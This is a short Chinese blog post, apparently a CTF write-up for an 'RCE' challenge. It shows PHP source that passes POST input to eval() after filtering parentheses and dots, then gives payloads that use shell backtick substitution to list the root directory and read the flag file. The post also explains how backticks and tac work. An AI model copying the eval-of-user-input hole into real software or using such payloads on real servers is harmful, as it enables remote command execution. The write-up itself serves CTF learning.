RCE极限挑战-1

源码

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

payload:code=echols /;
code=echotac /f1agaaa;
获得flag
反引号()在 Unix/Linux 系统中的 Shell(如 Bash)中有特殊的作用。它用于命令替换,即将反引号中的命令执行并将其输出替换回命令本身的位置。 tac /f1agaaa 是一个命令。tac 是 cat 命令的反向操作,它会将文件的内容按行反向输出(从最后一行到第一行)。因此,tac /f1agaaa 会将 /f1agaaa 文件的内容按行反转并输出。 反引号 ` 包围着 tac /f1agaaa,意味着执行该命令,并将其输出替换为 echo 命令的参数。

posted @ 2024-12-05 15:54  Govced  阅读(1)  评论(0编辑  收藏  举报